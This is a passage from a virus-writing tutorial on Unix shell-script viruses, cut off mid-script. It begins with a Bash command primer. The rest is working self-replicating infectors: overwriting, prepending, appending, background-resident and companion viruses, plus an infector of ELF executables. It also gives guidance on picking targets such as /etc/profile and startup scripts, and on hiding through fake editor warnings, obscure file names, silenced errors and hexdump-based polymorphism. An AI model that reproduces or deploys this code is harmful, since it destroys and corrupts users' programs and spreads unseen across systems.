of the conditions that gives for file, string or numeric argument handling: a) file conditions: -a file True if "file" exists. -b file True if "file" exists and is a special block file. -c file True if "file" exists and is a special characters file. -d file True if "file" exists and is a directory. -e file True if "file" exists. -f file True if "file" exists and is a normal file. -g file True if "file" exists and is set-group-id. -h file True if "file" exists and is a symbolic link. -k file True if "file" exists and its "sticky" bit is set. -p file True if "file" exists and is a named pipe (FIFO). -r file True if "file" exists and can be read. -s file True if "file" exists and is greater than zero. -t fd True if "fd" is open and refers to a terminal. -u file True if "file" exists and its "set-user-id" bit is set. -w file True if "file" exists and is writable. -x file True if "file" exists and is executable. -O file True if "file" exists and belongs to the efective current user. -G file True if "file" exists and belongs to the efective current group. -L file True if "file" exists and is a symbolic link. -S file True if "file" exists and is a socket. -N file True if "file" exists and was modified since last read access. file1 -nt file2 True if "file1" is newer than "file2". file1 -ot file2 True if "file1" is older than "file2". b) string conditions: -z string True if "string"'s length is zero. -n string True if "string"'s length is not zero. string1 == string2 True if both strings are equal. "=" can be used in stead of "==" string1 != string2 True if strings are different. string1 < string2 True if "string1" goes lexicographically before "string2". string1 > string2 True if "string2" goes lexicographically before "string1". c) numeric argument conditions: arg1 -eq arg2 True if arguments are equal. arg1 -ne arg2 True if arguments are different. arg1 -lt arg2 True if "arg1" is lower than "arg2". arg1 -le arg2 True if "arg1" is lower than or equal to "arg2". arg1 -gt arg2 True if "arg1" is greater than"arg2". arg1 -ge arg2 True if "arg1" is greater than or equal to "arg2". The "for" structure -------------------- The "for" structure in Bash is also a little bit special, and much more powerful than in most programming languages. Its syntax is like this: for name [ in word ] ; do list ; done What it first does is to expand the "word" list, which is a list of strings separated by space characters. After, the "name" variable is asigned the first element of the "word" list and the "list" commands list is executed. It keeps doing the same with all the elements in "word". If the "word" list is empty nothing will be executed, and the return value will be zero. If it is not empty, the return value will be the one corresponding to the last executed command's return value. As we can see, this does not have much to do with the typical C or Pascal "for", but we can do similar structures using the "seq" command: for I in $(seq 1 10) do echo $I done This will print 10 lines with numbers from 1 to 10, because "seq" generates natural number sequences from 1 to the given parameter, or between the given limits ("seq 5 10" generates numbers from 5 to 10). The "tr" command ----------------- This command is used for translating or deleting characters in a string. It usually receives two parameters, which are two character lists and their translation, for example: $> echo zert | tr aeiou uoiea will show "zort" because the "e" from the first list corresponds to the "o" of the second list. If what we want to do is delete characters we have to use the "-d" option, let's see it in an example: $> cat /etc/passwd | tr -d a will show /etc/passwd omitting all the "a"s. The "source" clause -------------------- As in other programming languages we can include source code which is in other files ("#include" in C or "Uses" in Pascal, for example), in bash scripting we can do the same using the "source" clause. If we had code in a file named "generic", for example, and we wanted to include it in our script, we would just have to do this: #!/bin/sh source generic # our code... We can also use the compact version of the "source" clause, the ".": #!/bin/sh . generic # our code... Background execution: ---------------------- As we all know, in a UNIX system, there are many processes running in background without interfering with the user. In bash scripting we can send commands in background without having to wait for it to finish. To do that its enough to put a "&" character at the end of the command and it will be executed in background. With the "fg" and "bg" commands we will control what is in foreground and background. Another posibility is to send commands list in parallel, with the help of the brackets, and synchronize them with "wait". Let's see it in an example: #!/bin/sh (find / -name passwd; echo got it!) (seq 65355) wait For sure, "find"'s output and "seq"'s output will mix together because they are running concurrently, but with "wait" we can assure that from that point there will be only an execution thread. The "grep" command ------------------- With the "grep" command we can find lines in a file which follow a pattern. It is used to show a line which contains a regular given expresion, the environment of that line, or all the lines except that. Let's see how can we do it in some examples: $> grep '#!/bin/sh' * will show all the lines in every file of the current directory (*) that contain the '#!/bin/sh' pattern. $> grep [Vv][Ii][Rr][Uu][Ss] * will show every line in every file of the current directory (*) which contain the word "virus" in upper case as well as low case (we use the UNIX regular expresions, where [Vv] means "V" or "v"). $> grep '#!/bin/sh' -v * will show every line in every file of the current directory which does not contain the given pattern '#!/bin/sh'. $> grep '#!/bin/sh' -3 * will show all the lines in all the files of the current directory (*) which containing the '#!/bin/sh' pattern as well as the 3 upper lines and the 3 lower lines in the file. The "find" command ------------------- This command is used to search files in the directory tree. We can specify many file properties as name, permissions, date, owner, etc. Its use is very easy: we decide where we want to start the search and what properties do our objectives have, for example: $> find /etc/ -perm +111 will show us every file with any permission enabled starting from the "/etc/" directory". there are many options in the "find" command, so I recommend to take a look at the manual pages ("man find"). The "tee" command ------------------ This command reads from the standard input and writes to the standard output or another file. It's commonly used to redirect a file to itself, avoiding error messages. Let's see an example: ---------------------------------------------------------------------- me@localhost:~$ touch 1 me@localhost:~$ touch 2 me@localhost:~$ cat 1 2 > 1 cat: 1: input file is output file me@localhost:~$ cat 1 2 | tee > 1 me@localhost:~$ echo 1 > 1 me@localhost:~$ echo 2 > 2 me@localhost:~$ cat 1 2 | tee > 1 me@localhost:~$ cat 1 1 2 ---------------------------------------------------------------------- The "AND list" and the "OR list" ---------------------------------- To avoid the reiterative use of the "if" structure they are often used the "AND list" and the "OR list". The following example will show the equalities between these and the "if" structure: [ -d $FILE ] && cd $FILE is the same as if [ -d $FILE ] then cd $FILE fi [ -d $FILE ] || cat $FILE is the same as if [ ! -d $FILE ] then cat $FILE fi or if [ -d $FILE ] then : else cat $FILE fi where ":" corresponds to the null instruction in shell scripting, equal to the NOP used in assembler language. Command blocks --------------- Another improvement in Bash is the posibility of handling a list of commands as a block, and redirect its output or its input as a group, for example: { head -15 $0 echo hello! cat ./tmp } > tmp2 would redirect the result of the three commands in the block to the "tmp2" file. This can help writing clean and tiny scripts. The "printf" command --------------------- As well as being a C function, "printf" is a UNIX command that allows a formatted text output. In the examples of this tutorial I have used it to translate hex codes into normal ASCII with "printf \x126", for example, but "printf" is a much more powerful command, as you can see in the info pages ("info printf"). The "file" command ------------------- This command tells us about the file type we are handling. It usually tries to guess it by reading file headers, but sometimes can fail. Look at the manual pages for more info ;-) String handling in bash ------------------------ Bash has a powerful group of built-ins for string handling. We can get their length, extract strings from other strings, mix strings, etc. This kind of expresions are not standard for all the UNIX shells, so we will be gaining speed but losing compatibility using them. If we want to do the same but in a more standard way is better to use the "expr" command. For an extensive use of this type of built-ins I recommend reading "Advanced Bash-Scripting Guide: A complete guide to shell scripting, using bash", written by Mendel Cooper. In this tutorial I will only use "${#STRING}" to get the length of "STRING", which could be done using "expr length $STRING" in a more standard way but calling an external command. The "basename" command ----------------------- This command allows us to extract the name of the program from a call to the program with a path to the executable file. It's very useful when we need to call the same program from a different place. For example, if we want to execute a script with this command: $>/home/zert/script.sh "basename $0" inside the code of "script.sh" will return "script.sh", substracting the path from the call command. The "alias" clause ------------------- When we use very oftenly a command, one way to perform the same action much easier and faster is by using aliases. The main idea is to translate one complex comand to a little and well-known word, for example: alias findexec="find / -perm +x 2>/dev/null" Each time we call "findexec" we will really call "find / -perm +x 2>/dev/null", which is much larger and complex to write. 3.- Shell script virus -=-=-=-=-=-=-=-=-=-=-=- 3.1.- Infection techniques --------------------------- We will see the way our shell script viruses are going to infect, pointing up advantages and disadvantages of using every technique. The syntax particularities and the commands we will be using are explained in the chapter 2.1.1. 3.1.1.- Overwriting -------------------- It is, without a doubt, the easiest and worst technique, where our virus destroys the host program by overwriting it, making it useless. In any kind of virus this method should be avoided, but anyways, here are some examples of viruses using overwriting technique. -----------------------------over1.sh--------------------------------- #!/bin/sh for F in * do cp $0 $F done --------------------------end of over1.sh----------------------------- This has an easy explanation. For every file in the directory copies itself ($0) to the file. If we want to copy it only in other shell scripts we could do a check with "head" or "grep", like I will explain later. -----------------------------over2.sh--------------------------------- #!/bin/sh for F in $(grep '#!/bin/sh' * 2>/dev/null | cut -d":" -f1) do head -5 $0 > $F 2>/dev/null done --------------------------end of over2.sh----------------------------- What we do in this example is copy first 5 lines of this script (head -5 $0) to every file containing the string '#!/bin/sh'. With $() we execute what is inside the brackets and we substitute the result, thus LIST=$(echo dog cat) would be the same as defining LIST="dog cat". Notice that we have redirected the standard error output (stderr) to /dev/null (2>/dev/null) to avoid error messages that grep can produce. With cut we separate the information gotten from grep, using only the string before the ":". Another important thing is that with this technique we will not have to see if the host file was already infected or not, because it will be overwritten, but this fact has to be taken in account in the other infecting methods. 3.1.2.- Prepending ------------------- This technique consists on allocating the virus code in the beginning of the host file. With this we can assure that our code is the first thing to be executed, but has the problem that our code is excesively detectable. Let's see an example of this kind of virus: -----------------------------pre1.sh---------------------------------- #!/bin/sh for F in * do if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then head -11 $0 > tmp cat $F >> tmp mv tmp $F fi done --------------------------end of pre1.sh------------------------------ We notice that there is a blank line in the beginning of the script. This will be our (silent) infection mark, because the scripts that start with a blank line will not satisfy the "if" condition. Once a host is found we copy the virus code into a temporal file and then the hosts code. To finish, we move the temporay file into the original host. As we can see there is a great disadvantage in using a temporary file, which makes the process slower because it has to access to the disk, it makes us detectable in the system and can cause infraction while sharing the file (imagine that a user from two different consoles executes the virus, it would be executed twice, so both viruses would try to use "tmp", but only one could reach itr objective). This can be avoided using a little trick. In a shell script, all the contents of a file can be stored in a variable, so if we dump the host into a variable in memory instead of another file will would reach our objective: -----------------------------pre2.sh---------------------------------- #!/bin/sh for F in * do if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then HOST=$(cat $F|tr '\n' Ç) head -11 $0 > $F 2>/dev/null echo $HOST | tr Ç '\n' >> $F 2>/dev/null fi done --------------------------end of pre2.sh------------------------------ As it's shown, the variable named HOST contains the host's code so we can avoid using a temporary file. But to do this we have had to use a little trick: as when dumping the host's code into a variable the line jumps are lost, we translate them into another unused character which could be 'Ç', to keep them located. So when dumping back from the file to the file again we will translate those characters into line jumps, getting the original file :-) Another way of doing a prepending virus is trying not to include our virus' code itself in the beginning of the script. This could take us to think about a "source" or "." clause, which allow to include code from an external file in a single line. But this would separate our virus from the host because the virus code would not be itself in the host's code but in the same directory, and then an infection would not happen in case they are separated. To avoid this we could use calls to functions inside the shell script code. But functions should be specfied in the beginning of the file, so it would not work. Let's see it with an example: -----------------------------pre3.sh---------------------------------- # ATCHTUNG! This shell script DOESN`T WORK!!!!! #!/bin/sh start # host code ... start () { for F in * do if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then HOST=$(cat $F|tr '\n' Ç) head -3 $0 > $F 2>/dev/null echo $HOST | tr Ç '\n' >> $F 2>/dev/null tail -12 $0 >> $F fi done } --------------------------end of pre3.sh------------------------------ This code fails when trying to execute "start" because it is not a valid command and has not been defined yet ;-( 3.1.3.- Postpending -------------------- By using this technique we put our code at the end of the host file so it is more difficult for it to be detected, but in the other hand, we can not assure its execution (if the host script finishes without arriving at the end of its code because of an abnormal exit or an error, for example). I personally consider this method the best of the explained ones because we avoid being so explicit by putting the code at the end, and usually scripts execute all their code until the end. At the programming level is similar to the rest of explained examples: ----------------------------post1.sh---------------------------------- for F in * do if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" -a "$(tail -1 $F 2>/dev/null)" != "# :-P" ] then tail -8 $0 >> $F 2>/dev/null fi done # :-P -------------------------end of post1.sh------------------------------ The most important thing in this example is copying our code at the end of the host file with "tail -8 $0 >> $F 2>/dev/null". Another important point is that we need another infection mark, we can not leave a blank line in the beginning of the file because we will copy our code at the end. That is why we leave a comment (# :-P), so we can detect it in the second part of the "if" ("$(tail -1 $F 2>/dev/null)" != "# :-P"). 3.1.4.- Residence ------------------ When I talk about residence I do not refer to a real residence where the virus is saved into the memory waiting for a shell script to execute and then infect it, and we avoid to be shown in the process list with a LKM (Loadable Kernel Module). In our case of residence is just that our shell script virus stays in background not to delay too much its host's execution. To do this we will need a temporary file where we will dump our code and then we will invoke it for background execution. Let's see an example: --------------------------resident1.sh-------------------------------- #!/bin/sh tail -13 $0 > tmp 2>/dev/null chmod +x tmp 2>/dev/null ./tmp $0 & 2>/dev/null exit 0 #!/bin/sh for F in * do if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then HOST=$(cat $F|tr '\n' \xc7) head -5 $1 > $F 2>/dev/null echo $HOST | tr \xc7 '\n' | grep -v '#!/bin/sh'>> $F 2>/dev/null tail -14 $1 >> $F 2>/dev/null fi done rm tmp 2>/dev/null ----------------------end of resident1.sh----------------------------- Let's explain this with a little bit of detail... what we do in the beginning is to copy the virus code into a temporary file, give it execution privileges (chmod +x) and execute it in background (&) sending the current script name as a parameter ($0). This parameter will be used later on. The host's code would go just after this, and to finish, it exits without executing last part (it is already being executed, because we called tmp&). In the temporary file we have created the last 13 lines of the virus, this is, the typical things: - a loop to search shell scripts, - we store the host into a variable, - we copy the first 5 lines of the file containing the complete virus (now is $1, the parameter with which we call tmp, remember?) - we dump the content of the variable named HOST to the file, deleting the first line '#!/bin/sh' if it exists (with grep -v we show everything, except the line containing the specified string), - and finally we delete the temporary file. It is not really necessary to do all this stuff for such a small code, but this technique can be useful when used with viruses which do complex operations, as we will see in the polymorphic viruses. If our aim is a resident virus expecting the execution of a possible objective, we have to try the infection of the startup scripts (".bash_rc", "bash_profile"...) to be in execution each time user's shell is launched. Optimal example of this idea would be to infect "/etc/profile", because it's accessed each time an user's logon is done :-) 3.1.5.- Companion ------------------ A companion virus, as means its name, "follows" the host file, with no modification of it. Usually, the main process of this type of infection is to move the host to another file (commonly hidden) and to write the virus code in a file with the original host's name. This method has a weak side: if somebody moves one of the "companion" files, the infection will be broken and the virus code wouldn't find it's original host file. This example shows a companion virus to explain practically the idea: ---------------------------companion.sh------------------------------- #!/bin/sh for F in * do if [ -f $F ] && [ -x $F ] && [ "$(head -c4 $F 2>/dev/null )" == "ELF" ] then cp $F .$F -a 2>/dev/null head -10 $0 > $F 2>/dev/null fi done ./.$(basename $0) ------------------------fin de companion.sh--------------------------- Assuming all shown until this point, this code doesn't need further explanations. The only fact that may be remarcked is that we use "cp -a" instead of "mv" to move the host file. This is done to mantain all file attributes with no modification. Another important thing is to perform accurately the call to the original host file. We must use "basename $0", because if we use simply ".$0" or "./.$0" and we call the host with a command like this: $>./host we are trying to execute the original host file like this: "../host" or "./../host" respectively, which are obviosly wrong. This code infects ELF executables from a shell script according to the idea show by SnakeByte in a previous article. In next chapter we will be able to code an evolutionated version of this idea with a multipartite or multiplatform virus, which will infect many types of executable files. 3.1.6.- Multiplatform ---------------------- Multiplatform viruses are known for having the possibility of infecting different platforms. The most spectacular cases are when viruses infect different microprocessors (such as Motorola or Intel), performing rare tricks in assembler. Shell script viruses are, in essence, multiplatform, because they can expand in multiple platforms as far as a shell exists (almost all UNIX flavors have a Bash version). But I'd like to write about other kind of viruses in this document. We will develop a shell script infector capable of infecting any kind of executable file that has a simple call from a shell: $>/directory/executable -parameters This is, without the call to an interpreter or similar like in a Perl executable. Let's analyze our generic executable infector's code. The idea is to copy ourselves at the beginning of the executable, transforming it into a shell script, whatever the type of file it is. After, we launch an infector process in background so the "host"'s execution is not delayed, and then we dump the "host" code into a temporary file and execute it. ------------------------------elfo.sh--------------------------------- #;P #!/bin/sh { echo 'for F in *' echo 'do' echo ' if [ -f $F ] && [ -x $F ] && [ "$(head -c3 $F)" != "#;P" ]' echo ' then' echo ' TAM=$(expr $(cat $F|wc --bytes|tr -d " ") + 1)' echo ' cp $F .$F.tmp -a' echo ' {' echo ' head -27 $1' printf " printf 'tail -c'\n" echo ' printf "$TAM"' printf ' printf \x27 $0 > .$0.exe 2>/dev/null\\n\x27\n' printf ' echo \x27 chmod +x .$0.exe 2>/dev/null\x27\n' printf ' echo \x27./.$0.exe $*\x27\n' printf ' echo \x27rm .$0.exe 2>/dev/null\x27\n' echo ' echo exit 0' echo ' } > .$F.tmp 2>/dev/null' echo ' cat $F >> .$F.tmp' echo ' echo >> .$F.tmp' echo ' mv .$F.tmp $F' echo ' fi' echo 'done' echo 'rm $0 2>/dev/null' } > .$0.inf 2>/dev/null sh ./.$0.inf $0 & tail -c716 $0 > .$0.exe 2>/dev/null chmod +x .$0.exe 2>/dev/null ./.$0.exe $* rm .$0.exe 2>/dev/null exit 0 ^?ELF^A^A^A^@^@^@^@^@^@^@^@^@^B^@^C^@^A^@^@^@\x82\x80^D^H4^@^@^@\xcc^@^@^@^@^@^@^@4^@ ^@^B^@(^@^G^@^D^@^A^@^@^@^@^@^@^@^@\x80^D^H^@\x80^D^H\xa0^@^@^@\xa0^@^@^@^E^@^@^@^@^P^@^@^A^@^@^@\xa0^@^@^@\xa0\x90^D^H\xa0\x90^D^H^@^@^@^@^@^@^@^@^F^@^@^@^@^P^@^@Hello, world! \xba^N^@^@^@\xb9t\x80^D^H\xbb^A^@^@^@\xb8^D^@^@^@\xcd\x80\xb8^A^@^@^@\xcd\x80\x90^@.symtab^@.strtab^@.shstrtab^@.text^@.data^@.bss^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^[^@^@^@^A^@^@^@^F^@^@^@t\x80^D^Ht^@^@^@,^@^@^@^@^@^@^@^@^@^@^@^D^@^@^@^@^@^@^@!^@^@^@^A^@^@^@^C^@^@^@\xa0\x90^D^H\xa0^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^D^@^@^@^@^@^@^@'^@^@^@^H^@^@^@^C^@^@^@\xa0\x90^D^H\xa0^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^D^@^@^@^@^@^@^@^Q^@^@^@^C^@^@^@^@^@^@^@^@^@^@^@\xa0^@^@^@,^@^@^@^@^@^@^@^@^@^@^@^A^@^@^@^@^@^@^@^A^@^@^@^B^@^@^@^@^@^@^@^@^@^@^@\xe4^A^@^@\xc0^@^@^@^F^@^@^@^G^@^@^@^D^@^@^@^P^@^@^@ ^@^@^@^C^@^@^@^@^@^@^@^@^@^@^@\xa4^B^@^@'^@^@^@^@^@^@^@^@^@^@^@^A^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@t\x80^D^H^@^@^@^@^C^@^A^@^@^@^@^@\xa0\x90^D^H^@^@^@^@^@^@^@^@^@^@^@^@^@\xa4^B^@^@'^@^@^@^@^@^@^@^@^@^@^@^A^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@t\x80^D^H^@^@^@^@^C^@^A^@^@^@^@^@\xa0\x90^D^H^@^@^@^@^C^@^B^@^@^@^@^@\xa0\x90^D^H^@^@^@^@^C^@^C^@^@^@^@^@^@^@^@^@^@^@^@^@^C^@^D^@^@^@^@^@^@^@^@^@^@^@^@^@^C^@^E^@^@^@^@^@^@^@^@^@^@^@^@^@^C^@^F^@^A^@^@^@\xa0\x80^D^H^@^@^@^@^Q^@\xf1\xff^H^@^@^@\x82\x80^D^H^@^@^@^@^P^@^A^@^O^@^@^@\xa0\x90^D^H^@^@^@^@^Q^@\xf1\xff^[^@^@^@\xa0\x90^D^H^@^@^@^@^Q^@\xf1\xff"^@^@^@\xa0\x90^D^H^@^@^@^@^Q^@\xf1\xff^@_etext^@_start^@__bss_start^@_edata^@_end^@ ---------------------------end of elfo.sh----------------------------- The first line is our infection mark ("#;P", ;P). After we have a block of "echo"'s and "printf"'s that generate the infector process in "hostname.inf", and execute it in background. The rest of the code lines are for copying the last 716 bytes of the file and reconstruct the "host" in "hostname.exe". After that, we call this file with the requested parameters ("$*") and the we delete it. [ NOTE: probably the code inserted here will not work, because we are converting a binary ELF file into ASCII mode. If you want to try the functional version of "elfo.sh", look at the tarball included ;-) ] The temporary files' names are taken from the from the original file, so other infected files are not executed at the same time and write into the same temporary file. To create an effective infector process we have to avoid that the variables are interpreted by the shell ("$0", "$TAM"). To do this we generate simple quotations by using the "printf" command ("printf '\x27'"), generating the following code: -----------------------------elfo.inf--------------------------------- for F in * do if [ -f $F ] && [ -x $F ] && [ "$(head -c3 $F)" != "#;P" ] then TAM=$(expr $(cat $F|wc --bytes|tr -d " ") + 1) cp $F .$F.tmp -a { head -27 $1 printf 'tail -c'\n printf "$TAM" printf '$0 > .$0.exe 2>/dev/null\n' echo 'chmod +x .$0.exe 2>/dev/null' echo './.$0.exe $*' echo 'rm .$0.exe 2>/dev/null' echo exit 0 } > .$F.tmp 2>/dev/null cat $F >> .$F.tmp echo >> .$F.tmp mv .$F.tmp $F fi done --------------------------end of elfo.inf----------------------------- which will be the one that searches in the current directory for executable files that are not infected ("if [ -f $F ] && [ -x $F ] && [ "$head -c4 $F)" != "#;P" ]") and generate a similar code to "elfo.sh" with them :-) 3.2.- Search for objectives ---------------------------- 3.2.1.- Possible victim detection ---------------------------------- A very important thing in a virus' extension is the detection of its possible victims. If we infect files that are not shell script viruses we can make them useless because they will stop working and that will not help the virus to keep extending. That's why we have to work out something to detect shell scripts where we can stay. There are many possibilities on how to do it: - with the file options that bash has we can know if the possible victim is a file or a directory, an executable file, etc. This can be a first aproximation, but, for example, we cannot distinguish between different executable files (shell scripts, perl scripts, ELFs...). - with the "file" command, which tells us what kind of file is the one specified as a parameter. This has some disadvantages, which are that it is not completely standard in a UNIX system (debian, for example dos not install it by default) and if a script has no header (for example the string '#!/bin/sh'), it says that is a plain text (ASCII text). - with the "head" command, which allows extracting characters and strings from the beginning of a file. If we ask for the first 9 characters of a file, and they coincide with '#!/bin/sh' then it will be a bash script, so it could be our host. - with the "find" command, which makes recursive searches starting from the given directory, and can classify permissions, names, etc. It can be a big load for the system to find files in this way, but as we explained before, we can run this process in background. - with the "grep" command, which searches for strings in the given files. An example on how to do this is in over2.sh, from the chapter 3.1.1. Any of these ways to find a victim are as the others, but we just have to decide how many system load we want to add to our virus, because the easiest ways can find fewer victims, but are quicker, and viceversa. 3.2.2.- How and where do we find them? --------------------------------------- All the techniques explained in the previous chapter need to stablish a beginning point for the search. The most usual thing in simple viruses is to attack the current directory, which is a poor technique because shell scripts do not vary their location in the directory tree. Another strategy is to descend directories following the ".." pattern until we reach the root directory: we infect the current directory and descend to the upper directory (cd ..), and so on. Is a bit slow and not very exhaustive, it does not range the whole directory tree. The same way, we can make a recursive search for files, starting from the root directory or from an adequate directory like "/etc/" or "/sbin/" and descending to every branch or subdirectory looking for victims. A third searching strategy could be the use of a specific file search command like "find". "find" return a list of the files that match the given conditions. Among this conditions you can specify the file type, permissions, name, size, etc. The most usual thing is to request the file list and handle it as usual, but "find" can give an important functionality: it is able to execute an action for every item found, so we can ask it to infect every found file. For this three search strategies is recommended to use the background execution previously commented, to avoid long executions in the host, because the search for objectives often takes time. The last strategy that I can think of is to try to attack the most usual scripts in all UNIX systems, like the ones that can be found at "/etc/" or "/sbin/". The main idea is to make a list of "attractive" directories and give it to a "for" so we can find something in them. Here's a text file with some examples on how to put in practice the explained techniques: ---------------------------where1.sh.txt------------------------------ # Current directory (pwd) for F in * do # [...] # 'dotdot' ("cd .." recursive) dotdot () { cd $1 [ "$1" = "/" ] && exit 0 for F in * do # virus code done dotdot ".." } # [...] # Recursive from / currentdir () { cd $1 for F in * do [ -d $F ] && currentdir $F # virus code done } # [...] # find (1) for F in $(find / -perm +111 -type f) do # [...] # find (2) find / -perm +111 -type f -exec sh -c \"#virus code...\" # [...] # Usual scripts LIST="/etc/* /etc/init.d/* /sbin/rc.0/*" for F in $LIST # [...] -------------------------end of where.txt.sh-------------------------- The different examples follow what is explained before. I have used a compact notation using the "AND list". This code: [ -d $F ] && currentdir $F is equal to: if [ -d $F ] then currentdir $F fi to do the same but when the "if" does not match the condition we use the "OR list", as explained in chapter 2.2.1. 3.2.3.- Shell scripts and "su" ------------------------------- Scripting with some shells is different if the shell is sh or a derivated shell from sh, such as Bash. Bash is very cautious with scripts with SUID bit set. If we forget to call bash with "-c" option in our SUIDed scripts, Bash will act very strangely and is not able to do certain accesses. Let's see it with an example tested in my Linux Debian Potato 2.2.r3: ---------------------------------------------------------------------- me@localhost:~$ cat > foo.txt hello, world! me@localhost:~$ chmod 644 foo.txt me@localhost:~$ cat > foo.sh #!/bin/sh cat foo.txt me@localhost:~$ chmod 4111 foo.sh me@localhost:~$ ./foo.sh bash: ./foo.sh: Permission denied me@localhost:~$ cat foo.txt hello, world! ---------------------------------------------------------------------- As we can see, the system is even more restrictive than the shell itself, as we have access to "foo.txt" from the shell while we don't from the script with "SUID". If we do the same with an ELF we'll realize that this kind of executables do not have so many restrictions having the SUID bit set: ---------------------------------------------------------------------- me@localhost:~$ cat > foo.c main(){system("cat foo.txt");} me@localhost:~$ gcc foo.c -o foo me@localhost:~$ chmod 4111 foo me@localhost:~$ chmod 600 foo.txt me@localhost:~$ ./foo hello, world! me@localhost:~$ su zert Password: zert@localhost:/home/me$ ./foo hello, world! zert@localhost:/home/me$ ./foo.sh ./foo.sh: ./foo.sh: Permission denied ---------------------------------------------------------------------- Other shells (ksh, for instance), don't "drop" the SUID bit. So, if we want to gain privileges attacking and creating SUIDed scripts, we have to remember that is strictly necessary using Bash with "-c" option. 3.3.- Hiding techniques ------------------------ 3.3.1.- Stupid techniques -------------------------- Let's see some stupid hiding techniques. As shell scripts are files that are often opened and edited, is very possible that someone opens an infected file and sees our code. A stupid way to avoid this is to confuse the user as the file is opened. A message in a comment like "Rem File edited by Microsoft Windows, do NOT modify!" should be enough for a simple .BAT and an innocent user. The equivalent in UNIX environments could consist on trying to emulate a message that the "vi" editor usualy writes when some other user is editing the same file from another console. The objective is to make the user believe this is happening so he stops editing the file, but in my opinion, a user with a minimum of intelligence would realize of what happens O:-D The included text could look like this: ----------------------------silly.txt--------------------------------- # Found a swap file by the name "..swp" # dated: Wed Nov 29 15:23:28 2000 # owned by: root # file name: ~..swp # modified: no # host name: localhost # user name: root # process ID: 13086 (still running) # While opening file "..swp" # dated: Wed Nov 29 15:23:27 2000 # #(1) Another program may be editing the same file # If this is the case, be careful not to end up with two # different instances of the same file when making changes. # Quit inmediatly. # #(2) An edit session for this file crashed. # If this is the case, use ":recover" or "vim -r ..swp" # to recover the changes (see ":help recovery)". # If you did this already, delete the swap file "..swp" # to avoid this message. # # PRESS ^Z TO QUIT --------------------------end of silly.txt---------------------------- As I said is a little stupid to try to hide, but there it is as a mere curiosity :-D 3.3.2.- File names ------------------- A way of difficulting our detection is to use strange names for the temporary files that we will need. The paradigmatic example is "-". That name, if it is introduced from the console, it is typically interpreted as the standard input (stdin) in stead of the file of name "-". A user with a minimum of inteligence could go through this with a command like: "cat ./-". Playing with the sameness of the informatical names is also a good way of doing it and names like ".kmem.tmp" or ".core" could be invisible for some users. 3.3.3.- Code inclusion, the "source" clause -------------------------------------------- As explained in the chapter 3.1.3, using "source" or "." we can let our code in the host be just a simple line, which makes reference to the file that really contains the code. Imagine that our virus is in "..." (strange name O:-D), we can assure that it will be executed if we find a line like "source ..." or ". ..." in the hosts code (morse rulz! ;-D). 3.3.4.- Output messages ------------------------ Capturing the error messages is a must, so they do not appear on the screen and upset the user. Redirecting everything to "/dev/null" we will avoid ugly error messages :-) 3.3.5.- Execution delays ------------------------- When talking about "residence" we have talked about execution delays of the host. If a script that usually longs just for milliseconds now exceeds up to 20 seconds and makes a lot of use of the hard disk, a minimally inteligent user would try to guess what is going on. To avoid this delays the best thing is to dump all the code into a temporary file and execute this file in background. That way, the host will execute normally, and our virus will have time to act even after the host's execution is finished. 3.3.6.- Aliases ---------------- Understanding virus size as an exposition factor, using aliases we can reduce our scripts' size. Code readability will be lost, but this fact can be a goodness indeed. 3.3.7.- Polimorphism --------------------- Polymorphic viruses in shell script? Seems a joke, but they can be done :-) There are many ways to "polymorphize" our code: - insert random comments inside our scripts, like Gobleen Warrior does in his shell scripts ;-) (look his article in 29a#6 for more details). - use a "crypting" routine for our code and insert useless code inside the ciphered code, as I will explain later. - use equivalent instructions with different syntax, as we will se in the "decrypter" code. - make intensive use of the "factor" command and generate "crypted" code in which we can insert random numbers, similar to the explained before. As I said, if you want to know how to put in practice the first of the techniques, look in the article Gobleen Warrior wrote, where they are explained in detail. From now on we will explain other techniques. When I proposed myself to write a polymorphic virus in shell script I focused on how a polymorphic virus is written: there is a crypting routine and the code varys depending on what technique uses the crypting routine. With this idea in mind I proposed myself to "chiper" my scripts, and what came to my mind was to "hexdump" the script so I could have a hexadecimal dump of my script. This is a group of unreadable characters in which random numbers can be inserted, so it is not a fixed code :-) And so, the code is stored as a number string inside a comment in the last line of the script, anda a little routine "decrypts" and executes the code. In every instance of the virus the "ciphered" code is different because random numbers have been inserted, and the routine used to "dechipher" the code is also "polymorphized" using different syntaxes to take same actions. Let's see this translated into code: --------------------------crypter.sh---------------------------------- #!/bin/sh if [ $# != 2 ] then echo "$0, usage: $0 file_src file_dst" exit 1 else echo $(hexdump "$1") >> $2 fi ------------------------end of crypter.sh----------------------------- What this simple script does is to dump the result of "hexdump" into the end of a file. We will use it as the first virus generation, as it will be "ciphered" from the beginning. This way, we write what we want our virus to do, we "cipher" it with this script and we paste it at the end of another script which has de "deciphering" routine: (virus code) --crypter.sh--\ (decrypt code) ---------------> (decrypt code+virus code crypted) and with this we get the firs generation of our polymorphic virus. The next script is the decrypted code, which will be dumped into a temporary file by the "deciphering" routine and executed. ---------------------------tmp.sh------------------------------------- #!/bin/sh for F in * do [ "$F" = "-" ] || if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then HOST=$(cat $F|tr '\n' \xc7) { head -2 $0 echo 'rm ./- 2>/dev/null' if [ $RANDOM -lt 16386 ] then echo 'for C in $(tail -2 $0); do [ ${#C} -eq 4 ] && printf "\x$(expr substr $C 3 2)\x$(expr substr $C 1 2)">>-; done' else echo 'for P in $(tail -2 $0)' echo 'do' echo ' if [ $(expr length $P) -eq 4 ] ; then printf "\x$(expr substr $P 3 2)\x$(expr substr $P 1 2)">>-; fi' echo 'done' fi echo 'sh ./- $0 &' echo $HOST | tr \xc7 '\n' | grep -v '#!/bin/sh' VIRUS="" for V in $(tail -1 $1) do [ ${#V} -eq 4 ] && VIRUS="$VIRUS $V $RANDOM" done echo "# 